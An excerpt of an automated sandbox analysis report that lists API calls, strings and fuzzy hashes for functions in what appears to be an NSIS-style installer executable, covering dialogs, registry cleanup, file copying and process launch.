LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction Fuzzy Hash: 2511E732E00200ABDB10FFA5DD4AABE3A64EF40354F10403FF50AB61D2D6798E50C6AD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406301: FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
Part of subcall function 00406301: FindClose.KERNEL32(00000000), ref: 00406318

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Skipping section: "%s", xrefs: 004050E1
Section: "%s", xrefs: 004050A5

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,759223A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
